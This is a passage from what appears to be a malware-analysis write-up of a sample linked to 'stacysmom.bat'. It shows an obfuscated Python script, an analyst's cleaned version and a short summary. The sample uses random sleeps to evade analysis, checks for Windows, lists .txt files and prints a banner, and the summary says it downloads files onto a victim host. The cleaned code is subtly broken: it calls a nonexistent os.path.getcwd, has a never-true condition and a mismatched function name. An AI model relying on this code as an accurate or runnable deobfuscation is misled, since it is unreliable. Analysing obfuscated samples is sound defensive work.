qqQQqqQQqqQQqqQQQqqQQQ = 'CiAgICAgIyUlICAgICAgICAgICAgICUlJSAgICAgCiAgICAgJSUlJSUgICAgICAgICAlJSUlJSAgICAgCiAgICAgJSUlJSUlJSAgICAgJSUlJSUlJSAgICAgCiAgICAgJSUlJSUlJSUlICUlJSUlJSUlJSAgICAgCiAgJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSAgCiAlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUgCiAlJSUlJSUlICUlJSUlJSUlJSUlICUlJSUlJSUgCiAlJSUlJSUlJSAgJSUlJSUlJSAgJSUlJSUlJSUgCiAlJSUlJSUlJSUlICAlJSUgICUlJSUlJSUlJSUgCiAlJSUlJSUlJSUgICAgICAgICAlJSUlJSUlJSUgCiAlJSUlJSUlICAgICAgICAgICAgICUlJSUlJSUKIApNYWxjb3JlOiBTaW1wbGUgRmlsZSBBbmFseXNpcw=='
qqQQqqQQqqQQqqqqqqqQQQ = print
qqQQQQQQqqQQqqQQQqqQQQ = base64
QQQQqqQQqqQQqqQQQqqQQQ = qqQQQQQQqqQQqqQQQqqQQQ.b64decode
qqQQqqQQqqQQqqqqqqqQQQ(QQQQqqQQqqQQqqQQQqqQQQ(qqQQqqQQqqQQqqQQQqqQQQ).decode())
run_stacy()
|
Again, it is obfuscated. Cleaning the code will make our eyes better.
The cleaned code will looks something like below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
| import os
import sys
import time
import string
import random
import platform
import base64
rng = random.SystemRandom()
def generate_random_string():
letters = string.ascii_letters
length = rng.randint(1, 15)
return ''.join(letters for _ in range(length))
def get_random_string_list():
length = rng.randint(1, 20)
random_strings = []
for _ in range(length):
random_strings.append(generate_random_string())
if len(random_strings) > rng.randint(1, 4):
if rng.randint(1, 100) < 1:
random_strings.insert(0, random_strings[-1])
return random_strings
def get_random_int(min_val, max_val):
return rng.randint(min_val, max_val)
def pause_execution(oOoOoOoOoOoOoOoO, sleep_condition=(False, True)):
if not sleep_condition and oOoOoOoOoOoOoOoO:
sleep_duration = get_random_int(1, 13)
elif sleep_condition and oOoOoOoOoOoOoOoO:
sleep_duration = get_random_int(1, 4)
elif oOoOoOoOoOoOoOoO and sleep_condition:
sleep_duration = get_random_int(1, 4) + get_random_int(1, 13)
else:
sleep_duration = get_random_int(1, 4)
time.sleep(sleep_duration)
return get_random_string_list()
def should_pause_execution():
condition1 = get_random_int(1, 5) < 3
if condition1:
condition2 = get_random_int(1, 4) > 2
condition3 = get_random_int(1, 10) < 5
pause_execution(condition3, condition2)
def is_running_on_windows():
should_pause_execution()
return 'win' in platform.platform().lower()
def print_windows_warning():
print('MAYBE YOU SHOULD RUN THIS ON WINDOWS?')
def find_and_manipulate_files():
should_pause_execution()
path = os.path
separator = path.sep
current_dir = path.getcwd()
file_path = f'{current_dir}{separator}file'
file_list = []
for filename in os.listdir(current_dir):
if filename.endswith('.txt'):
file_list.append(filename)
return file_list
def process_items(items):
should_pause_execution()
processed_items = []
last_item = None
for item in items:
should_pause_execution()
if item != last_item:
if last_item and item < last_item:
processed_items.insert(0, item)
else:
processed_items.append(item)
last_item = item
processed_items.reverse()
return processed_items
def incomplete_function(arg):
should_pause_execution()
def run_script():
should_pause_execution()
if is_running_on_windows():
should_pause_execution()
files = find_and_manipulate_files()
should_pause_execution()
processed_files = process_items(files)
should_pause_execution()
incomplete_function(processed_files)
else:
print_windows_warning()
if __name__ == '__main__':
encoded_string = 'CiAgICAgIyUlICAgICAgICAgICAgICUlJSAgICAgCiAgICAgJSUlJSUgICAgICAgICAlJSUlJSAgICAgCiAgICAgJSUlJSUlJSAgICAgJSUlJSUlJSAgICAgCiAgICAgJSUlJSUlJSUlICUlJSUlJSUlJSAgICAgCiAgJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSAgCiAlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUgCiAlJSUlJSUlICUlJSUlJSUlJSUlICUlJSUlJSUgCiAlJSUlJSUlJSAgJSUlJSUlJSAgJSUlJSUlJSUgCiAlJSUlJSUlJSUlICAlJSUgICUlJSUlJSUlJSUgCiAlJSUlJSUlJSUgICAgICAgICAlJSUlJSUlJSUgCiAlJSUlJSUlICAgICAgICAgICAgICUlJSUlJSUKIApNYWxjb3JlOiBTaW1wbGUgRmlsZSBBbmFseXNpcw=='
decoded_string = base64.b64decode(encoded_string).decode()
print(decoded_string)
run_script()
|
Summary
The execution of stacysmom.bat producing several files downloaded on the victim’s host. There were a lot of obfuscation happening in those scripts as discussed before. The main purpose of the executables is to accessing “https://link.malcore.io” url. With that, a simple diagram to understanding stacysmom.bat behavior are as below.